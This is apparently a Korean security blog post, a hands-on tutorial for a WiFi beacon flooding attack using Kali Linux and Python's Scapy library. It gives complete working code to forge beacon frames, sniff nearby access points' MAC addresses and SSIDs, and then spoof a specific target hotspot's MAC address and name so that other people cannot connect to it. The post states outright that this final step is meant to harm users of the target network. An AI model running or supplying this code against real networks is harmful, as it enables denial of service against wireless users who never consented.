WIFI, 즉 AP기기들은 무선 네트워크 상에서 자신을 알리기 위해 주기적으로 Beacon Frame 패킷을 broadcast로 전송한다.

이와 관련된 정보는 아래 링크를 통해서 알아보자.

https://universe-blog.tistory.com/entry/wifi%EA%B0%80-%EB%B3%B4%EB%82%B4%EB%8A%94-beacon-frame-%ED%8C%A8%ED%82%B7-%EB%B6%84%EC%84%9D

불러오는 중입니다...

 

 

 

Beacon Flooding Attack

Beacon frame 패킷을 이용하여 Beacon 패킷을 주기적으로 보내면 WIFI 목록에는 진짜 AP가 있는 것 처럼 보이게 될 것이다.

이 점을 악용하여 기존의 AP의 MAC 주소와 SSID, channel 등 똑같은 beacon frame 패킷만든 뒤, 기존의 AP 보다 많은 beacon frame 패킷을 보내게 되면 WIFI 목록에는 공격자가 만든 가짜 AP가 눈에 보이게된다. 피해자는 가짜 AP에 연결 시도를 하면 연결이 되지 않아 인터넷을 사용하지 못하게 된다.

이러한 공격 기법을 Beacon Flooding Attack 이라고 한다.

 

우선 python 으로 간단하게 기존 AP에 피해를 주지않는 방법 부터 해보자.

Kali 2019 버전으로 실습을 진행했다.

 

 

  • Monitor mode 지원 여부 확인

가장 중요한 부분이다.

현재 내장되어 있는 랜 카드 혹은 외장 랜 카드가 monitor mode를 지원하는지 확인을 해야 한다.

필자는 내장 랜 카드가 monitor mode를 지원하지 않아 iptime N150UA 모델을 구매하여 실습을 진행했다.

 

가상머신에서 동작중인 kali에 외장 랜 카드를 인식하게끔 하고 ifconfig 명령어를 입력하여 인터페이스 이름을 알아낸다.

필자의 인터페이스 이름은 wlan0 인 것을 확인 할 수 있다. 필자와 다를 경우 문제없이 진행 하면 되겠다.

 

아래 명령어를 통해 wlan0 인터페이스를 monitor mode로 전환한다.

ifconfig wlan0 down
 
iwconfig wlan0 mode monitor
 
iwconfig

iwconfig 명령어를 입력했을때 wlan0(필자와 다른 이름일 수 도 있다.) 인터페이스가 monitor 모드로 바뀐 것을 확인 할 수 있다. 아래 사진처럼 출력될 경우 monitor mode를 사용할 수 있다는 뜻이다. 확인을 했으니 재부팅을 해주자.

 

 

  • Active Monitor mode using airmon-ng

위에 처럼 확인을 했으면 재부팅을 하고 airmon으로 monitor mode를 활성화 시켜 보겠다.

아래 명령어를 입력한다. 필자는 wlan0 이기 때문에 아래처럼 명령어를 입력했다.

airmon-ng start wlan0

 

 

아래 사진처럼  ifconfig 를 입력하면 wlan0 => wlan0mon으로 바뀐것을 확인 할 수 있다.

 

 

  • Install Scapy module

Beacon frame 패킷을 보내기 위해서는 scapy 모듈을 사용해야 한다.

아래 명령어를 통해 scapy 모듈을 설치하자. 설치가 완료되면 scapy 모듈을 사용할 수 있게 된다.

pip install scapy

 

  • Sending beacon frame packet with python 

python으로 아래와 같은 코드를 작성한다.

from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp, hexdump
 
netSSID = 'Universe'
iface = 'wlan0mon'
 
dot11 = Dot11(type=0, subtype=8, addr1 = 'ff:ff:ff:ff:ff:ff', addr2 = '11:11:11:11:11:11', addr3 = '22:22:22:22:22:22')
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info=netSSID, len=len(netSSID))
 
rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00'
'\x00\x0f\xac\x02'
'\x02\x00'
'\x00\x0f\xac\x04'
'\x00\x0f\xac\x02'
'\x01\x00'
'\x00\x0f\xac\x02'
'\x00\x00'))
 
frame = RadioTap()/dot11/beacon/essid/rsn
 
sendp(frame, iface=iface, inter=0.100, loop=1)

3: 와이파이의 이름을 적는다.

4: 네트워크 인터페이스 이름을 적는다. 필자는 wlan0mon 이다.

6: Dot11의 함수 파라미터의 설명은 아래와 같다.

  • type = 0, To indicate the frame is a management frame
  • subtype = 8, beacon frame을 관린
  • addr1, 목적지 MAC 주소이다. beacom frame은 broadcast로 전송하기 때문에 ff:ff:ff:ff:ff:ff 목적지로 전송한다.
  • addr2, 발신자의 MAC 주소이다. 아무거나 해도 상관이 없다.
  • addr3, AP의 MAC 주소이다.

7: ESS+privacy를 통해 개방형이 아닌 보안(비밀번호 입력 필수)으로 보이게 끔 만드는 기능이다.

10: rsn은 Robust Secure Network를 줄인 말로 WPA2 암호화를 지원하기 위해 다음과 같은 헥사 코드를 넣어줘야 한다.

'\x01\x00'              #RSN Version 1
'\x00\x0f\xac\x02'      #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00'              #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04'      #AES Cipher
'\x00\x0f\xac\x02'      #TKIP Cipher
'\x01\x00'              #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02'      #Pre-Shared Key
'\x00\x00'              #RSN Capabilities (no extra capabilities)

참고: https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/

22: sendp() 함수로 최종적으로 beacon frame 패킷을 전송한다.

 

 

 

위 python 코드를 실행하면 아래와 같이 동작을 하게 된다.

 

 

와이파이 목록을 확인 해보면 Universe 라는 아무런 기능이 없는 AP가 뜨는 것을 확인 할 수 있다.

LG 노트북과 Samsung A7에는 Universe 라는 AP가 뜨지만, IOS 12.2 버전에서는 뜨질 않았다. (보안 때문인건가…?)

 

 

  • Sniffing AP with python

위에서 진행한 실습은 기존 AP에 피해를 주지 않고 가짜 AP를 만들어 와이파이 목록에 띄우는 것이었다.

이번에 진행할 것은 타깃 AP의 MAC주소를 알아내는 방법을 코드로 구현 해볼 것이다.

from scapy.all import Dot11, sniff
 
iface = "wlan0mon"
ap_list = []
def packetHandler(packet):
  if packet.haslayer(Dot11):
    if packet.type == 0 and packet.subtype == 8:
      if packet.addr2 not in ap_list:
        ap_list.append(packet.addr2)
        print("Access Point MAC : {} with SSID : {}".format(packet.addr2, packet.info))
sniff(iface=iface, prn = packetHandler)

 

 

위 코드를 실행해보면 아래 사진 처럼 실시간으로 주변의 AP 기기들의 SSID와 MAC 주소를 얻을 수 있다.

 

 

  • Beacom flooding attack

이제 본격적으로 타깃의 AP를 공격하여 해당 AP를 사용하는 사람들에게 피해를 주는 방법을 알아보겠다.

솔직히 여기까지 잘 따라오면 대략 어떻게 해야 할지를 알 것이다.

위 사진에서 Hot이라는 AP를 공격해 보겠다. 해당 AP는 Samsung A7을 이용해 핫스팟을 킨 AP이다.

 

Hot의 MAC 주소는 be:a5:8b:0a:48:c6 이다.

Sending beacon frame packet with python 부분에서 사용한 코드를 들고와 일부분을 수정한다.

바꾸어야 할 부분은 netSSID와 Dot11함수의 파라미터에서 addr2와 addr3 값을 타켓 MAC 주소로 변경하는 것이다.

from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp, hexdump
 
netSSID = 'Hot'
iface = 'wlan0mon'
 
dot11 = Dot11(type=0, subtype=8, addr1 = 'ff:ff:ff:ff:ff:ff', addr2 = 'be:a5:8b:0a:48:c6', addr3 = 'be:a5:8b:0a:48:c6')
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info=netSSID, len=len(netSSID))
rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00'
'\x00\x0f\xac\x02'
'\x02\x00'
'\x00\x0f\xac\x04'
'\x00\x0f\xac\x02'
'\x01\x00'
'\x00\x0f\xac\x02'
'\x00\x00'))
 
frame = RadioTap()/dot11/beacon/essid/rsn
sendp(frame, iface=iface, inter=0.100, loop=1)

 

 

 

실습을 해보면 아래 사진 처럼 해당 AP에 접근 할 수 없다는 문구가 뜨게 된다.

 

이렇게 해서 Beacon Flooding attack으로 타켓 AP를 다른 사람들이 사용을 하지 못하게 방해 할 수 있게 되었다.

이상으로 포스팅을 마치겠다.

 

 

Reference

Sending & Sniffing WLAN Beacon Frames using Scapy

https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/

 

 

'Security > Network' 카테고리의 다른 글

python을 이용한 beacon flooding attack  (0) 2019.04.06
wifi가 보내는 beacon frame 패킷 분석  (0) 2019.04.06
[Network] – tcp 연결 분석  (0) 2019.04.06